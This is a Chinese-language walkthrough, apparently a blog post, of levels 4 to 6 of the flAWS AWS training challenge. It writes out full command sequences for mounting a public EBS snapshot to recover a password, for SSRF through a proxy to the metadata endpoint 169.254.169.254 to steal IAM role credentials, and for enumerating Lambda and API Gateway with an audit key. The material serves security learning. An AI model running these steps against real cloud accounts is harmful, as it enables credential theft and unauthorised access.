    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ]
}

关键信息

1
2
3
{
    "Group": "all"
}

这个 Snapshot 被设置为 Public（公开）
也就是说

1
2
3
4
5
6
7
8
9
10
11
运维创建了EBS Snapshot
↓
错误地设置为公开共享
↓
攻击者发现该Snapshot
↓
创建自己的Volume
↓
挂载到自己的EC2
↓
读取里面的文件

接下来根据这个快照创建一个卷（Volume），然后挂载到自己ec2上

这里我遇到了一个问题，在我创建默认用户时只给了他ec2和3s的相关权限，所以这里他没有权限创建卷，需要去控制台给这个用户提一下权

创建一个卷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ aws ec2 create-volume \
    --snapshot-id snap-0b49342abd1bdcb89 \
    --availability-zone us-west-2a \
    --region us-west-2 \
    --profile default
{
    "AvailabilityZoneId": "usw2-az2",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2",
    "MultiAttachEnabled": false,
    "VolumeId": "vol-0689d66e761395d18",
    "Size": 8,
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "AvailabilityZone": "us-west-2a",
    "State": "creating",
    "CreateTime": "2026-06-02T03:42:26+00:00",
    "Encrypted": false
}

记住VolumeId，创建一个这个快照所在地区的EC2，挂载volume

1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@ip-172-31-36-216:~$ aws ec2 attach-volume \
    --volume-id vol-0689d66e761395d18 \
    --instance-id i-02e52c0faa3458431 \
    --device /dev/sdf \
    --region us-west-2 \
    --profile default
{
    "VolumeId": "vol-0689d66e761395d18",
    "InstanceId": "i-02e52c0faa3458431",
    "Device": "/dev/sdf",
    "State": "attaching",
    "AttachTime": "2026-06-02T03:43:36.666000+00:00"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ lsblk
NAME         MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0          7:0    0 48.4M  1 loop /snap/snapd/26382
loop1          7:1    0   74M  1 loop /snap/core22/2411
loop2          7:2    0 28.2M  1 loop /snap/amazon-ssm-agent/13009
nvme0n1      259:0    0    8G  0 disk 
├─nvme0n1p1  259:1    0  6.9G  0 part /
├─nvme0n1p13 259:2    0 1023M  0 part /boot
├─nvme0n1p14 259:3    0    4M  0 part 
└─nvme0n1p15 259:4    0  106M  0 part /boot/efi
nvme1n1      259:5    0    8G  0 disk 
└─nvme1n1p1  259:6    0    8G  0 part 
ubuntu@ip-172-31-36-216:~$ sudo mkdir -p /mnt/flaws
sudo mount /dev/nvme1n1p1 /mnt/flaws

接下来就是找有用的数据了

image-20260602114620223

感慨一个termius真好用啊

在etc/nginx中看到看到可疑.htpasswd，之后又在/home/ubuntu中发现可疑脚本，成功拿到用户账号密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ll
total 68
drwxr-xr-x  6 root root 4096 Feb 19  2017 ./
drwxr-xr-x 94 root root 4096 Feb 19  2017 ../
-rw-r--r--  1 root root   44 Feb 13  2017 .htpasswd
drwxr-xr-x  2 root root 4096 Oct 27  2016 conf.d/
-rw-r--r--  1 root root 1077 Apr 26  2016 fastcgi.conf
-rw-r--r--  1 root root 1007 Apr 26  2016 fastcgi_params
-rw-r--r--  1 root root 2837 Apr 26  2016 koi-utf
-rw-r--r--  1 root root 2223 Apr 26  2016 koi-win
-rw-r--r--  1 root root 3957 Apr 26  2016 mime.types
-rw-r--r--  1 root root 1533 Feb 19  2017 nginx.conf
-rw-r--r--  1 root root  180 Apr 26  2016 proxy_params
-rw-r--r--  1 root root  636 Apr 26  2016 scgi_params
drwxr-xr-x  2 root root 4096 Feb 19  2017 sites-available/
drwxr-xr-x  2 root root 4096 Feb 19  2017 sites-enabled/
drwxr-xr-x  2 root root 4096 Feb 12  2017 snippets/
-rw-r--r--  1 root root  664 Apr 26  2016 uwsgi_params
-rw-r--r--  1 root root 3071 Apr 26  2016 win-utf
ubuntu@ip-172-31-36-216:/mnt/flaws/etc/nginx$ cat .htpasswd
flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0
ubuntu@ip-172-31-36-216:/mnt/flaws/etc/nginx$ cd /mnt/flaws/home/ubuntu/
ubuntu@ip-172-31-36-216:/mnt/flaws/home/ubuntu$ cat setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
  • 账号 flaws
  • 密码 nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

所以这一关其实还是AWS的权限配置错误导致可以查看EC2下的EBS，甚至可以拷贝

你过关！

level 5

This EC2 has a simple HTTP only proxy on it. Here are some examples of it’s usage:

See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

Need a hint? Go to Hint 1

在上一关获得的卷中发现一些有趣的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ll
total 44
drwxr-xr-x 4 ubuntu ubuntu 4096 Feb 26  2017 ./
drwxr-xr-x 3 root   root   4096 Feb 12  2017 ../
-rw------- 1 ubuntu ubuntu 3135 Feb 27  2017 .bash_history
-rw-r--r-- 1 ubuntu ubuntu  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Aug 31  2015 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Feb 12  2017 .cache/
-rw-r--r-- 1 ubuntu ubuntu  655 Jun 24  2016 .profile
drwx------ 2 ubuntu ubuntu 4096 Feb 12  2017 .ssh/
-rw-r--r-- 1 ubuntu ubuntu    0 Feb 12  2017 .sudo_as_admin_successful
-rw------- 1 root   root   2630 Feb 26  2017 .viminfo
-rw-rw-r-- 1 ubuntu ubuntu  268 Feb 12  2017 meta-data
-rw-r--r-- 1 ubuntu ubuntu   72 Feb 13  2017 setupNginx.sh

查看过去使用过的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ cat .bash_history 
...
cat setupNginx.sh
curl 169.254.169.254
curl  http://169.254.169.254/latest/meta-data
wget  http://169.254.169.254/latest/meta-data
cat meta-data
curl -XGET http://169.254.169.254/latest/meta-data
wget  http://169.254.169.254/latest/meta-data/iam
cat iam
wget  http://169.254.169.254/latest/meta-data/iam/info
cat info
rm info iam
ls
cat meta-data
curl  http://169.254.169.254/latest/meta-data/iam/info
curl  http://169.254.169.254/latest/meta-data/
curl  http://169.254.169.254/latest/meta-data/profile/
curl  http://169.254.169.254/latest/meta-data/profile
curl  http://169.254.169.254/latest/user-data
curl  http://169.254.169.254/iam/security-credentials/flaws
curl  http://169.254.169.254/iam/security-credentials
curl  http://169.254.169.254/iam/security-credentials/flaws/
curl  http://169.254.169.254/iam/
wget http://169.254.169.254/iam/security-credentials/flaws
curl  http://169.254.169.254/meta-data/iam/security-credentials/flaws
curl  http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws
curl  http://169.254.169.254/latest/meta-data/iam/security-credentials
sudo su -
...

169.254.169.254这个 IP 在 AWS 和其他云厂商里是 实例元数据服务 (Instance Metadata Service, IMDS) 的特殊地址。

  • IP 地址：169.254.169.254 是一个 Link-Local 地址（只在实例内部可达），外网无法访问。
  • 作用：提供当前 EC2 实例的元数据和临时凭证信息。
  • 访问方式：使用 curl 或 wget，可以获取：
路径 内容
/latest/meta-data/ EC2 实例信息（AMI ID、Instance ID、hostname、AZ 等）
/latest/user-data 用户启动时注入的 userdata 脚本
/latest/meta-data/iam/security-credentials/ 绑定在实例的 IAM Role 临时凭证

题目说了这里有一个代理，可以替你访问对应的url，而我们要访问的恰好就是仅内网可达的地址，刚好可以用这个SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat meta-data 
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups

可以看到对应目录有这些东西，接下来就试喽，用这个代理找到敏感信息

1
2
3
ubuntu@ip-172-31-36-216:/mnt/flaws/home/ubuntu$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/

flaws

说明当前EC2绑定了：

1
IAM Role: flaws

获取临时访问凭证

1
2
3
4
5
6
7
8
9
$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
  "Code" : "Success",
  "LastUpdated" : "2026-06-02T04:34:49Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA****************",
  "SecretAccessKey" : "****************************************",
  "Token" : "********",
  "Expiration" : "2026-06-02T11:02:18Z"

接下来创建新用户获取利用他的访问配置直接盗他号

1
2
3
4
5
6
$ aws configure --profile level5
AWS Access Key ID [********************]: ASIA****************
AWS Secret Access Key [********************]: ****************************************
AWS Session Token [********************]: ********
Default region name [us-west-2]: us-west-2
Default output format [json ]: json

验证身份

1
2
3
4
5
6
7
$ aws sts get-caller-identity \
  --profile level5
{
    "UserId": "AROAI3DXO3QJ4JAWIIQ5S:i-05bef8a081f307783",
    "Account": "************",
    "Arn": "arn:aws:sts::************:assumed-role/flaws/i-05bef8a081f307783"
}

没错

查看存储桶里有什么

1
2
3
4
5
6
7
$ aws --profile level5 s3 ls \
s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud \
--recursive
2017-03-03 04:36:23       2463 ddcc78ff/hint1.html
2017-03-03 04:36:23       2080 ddcc78ff/hint2.html
2020-05-22 18:42:20       2924 ddcc78ff/index.html
2017-02-27 02:11:07        871 index.html

原理说明

  • SSRF：利用 Proxy 让服务器代你访问内部网络或 Metadata 服务。
  • IMDS (169.254.169.254)：提供 EC2 绑定的 IAM Role 临时凭证。
  • 临时凭证：可在 AWS CLI 中使用，权限受 Role 限制。
  • S3 权限：Role 允许访问指定 Bucket，但没有 ListAllMyBuckets 权限。
  • Level6 Bucket：通过已知 Bucket 名 + CLI 成功访问其内容。

获得了第六关的地址

flAWS - Level 6

level 6

For this final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.

Access key ID: AKIA****************
Secret: ****************************************

Need a hint? Go to Hint 1

1
2
3
4
5
$ aws configure --profile level6
AWS Access Key ID [None]: AKIA****************
AWS Secret Access Key [None]: ****************************************
Default region name [None]: us-west-2
Default output format [None]: json

先看看SecurityAudit这个策略是啥

  • 安全审计：用于检查账户是否符合安全最佳实践（如 CIS Benchmarks）或合规要求（如 PCI-DSS、ISO 27001）。
  • 事件响应：当发生安全事件时，授权给应急响应团队，让他们能快速查看日志和配置以进行调查，同时确保他们无法修改或删除任何东西，避免二次破坏。
  • 第三方协作：安全地授予第三方工具或审计公司访问权限，让他们扫描你的 AWS 环境以发现漏洞，但无权触碰你的业务数据。
审计类别 能查看的关键内容
身份与访问管理 (IAM) 用户、角色、策略、用户组、密码策略、多因素认证（MFA）状态。
日志与监控 CloudTrail 日志（谁在何时做了什么）、CloudWatch 配置。
安全检测 GuardDuty 发现的威胁、Security Hub 的安全检查结果、Inspector 的漏洞扫描结果。
资源合规与配置 AWS Config 记录的资源配置历史、Trusted Advisor 的检查建议。
网络与数据 安全组规则、网络 ACL、S3 存储桶策略、加密密钥 (KMS) 的元数据。

查看当前用户

1
2
3
4
5
6
7
8
9
10
$ aws iam get-user --profile level6
{
    "User": {
        "Path": "/",
        "UserName": "Level6",
        "UserId": "AIDAIRMDOSCWGLCDWOG6A",
        "Arn": "arn:aws:iam::************:user/Level6",
        "CreateDate": "2017-02-26T23:11:16+00:00"
    }
}

查看附加策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ aws iam list-attached-user-policies \
--user-name Level6 \
--profile level6
{
    "AttachedPolicies": [
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::************:policy/MySecurityAudit"
        },
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::************:policy/list_apigateways"
        }
    ]
}

查看策略内容

1
2
3
aws iam get-policy \
--policy-arn arn:aws:iam::************:policy/list_apigateways \
--profile level6

发现

1
2
"Action": ["apigateway:GET"],
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"

枚举 Lambda 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ aws lambda list-functions --region us-west-2 --profile level6
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:************:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::************:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/Level6"
            }
        }
    ]
}

查看 Lambda Resource Policy

1
2
3
4
5
6
7
8
$ aws lambda get-policy \
--function-name Level6 \
--region us-west-2 \
--profile level6
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:************:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:************:s33ppypa75/*/GET/level6\"}}}]}",
    "RevisionId": "edaca849-06fb-4495-a09c-3bc6115d3b87"
}

从中获取了 API Gateway ID：s33ppypa75

查询 Stage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ aws apigateway get-stages \
--rest-api-id s33ppypa75 \
--region us-west-2 \
--profile level6
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": "2017-02-27T00:26:08+00:00",
            "lastUpdatedDate": "2017-02-27T00:26:08+00:00"
        }
    ]
}

根据 AWS API Gateway URL 规则：

https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>得到这道题是

https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6访问就通关了

知识点

  1. SecurityAudit 不只是读 IAM，也能发现潜在敏感资源。
  2. Lambda Resource Policy 可以泄露 API Gateway ID。
  3. API Gateway URL 构造规则：https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
  4. 现实云渗透学习点：
    • 只读权限也能用策略组合发现敏感资源
    • Lambda + API Gateway 是常见敏感资源泄露点
    • IAM 策略和 Resource Policy 是最常被忽略的安全面

Contents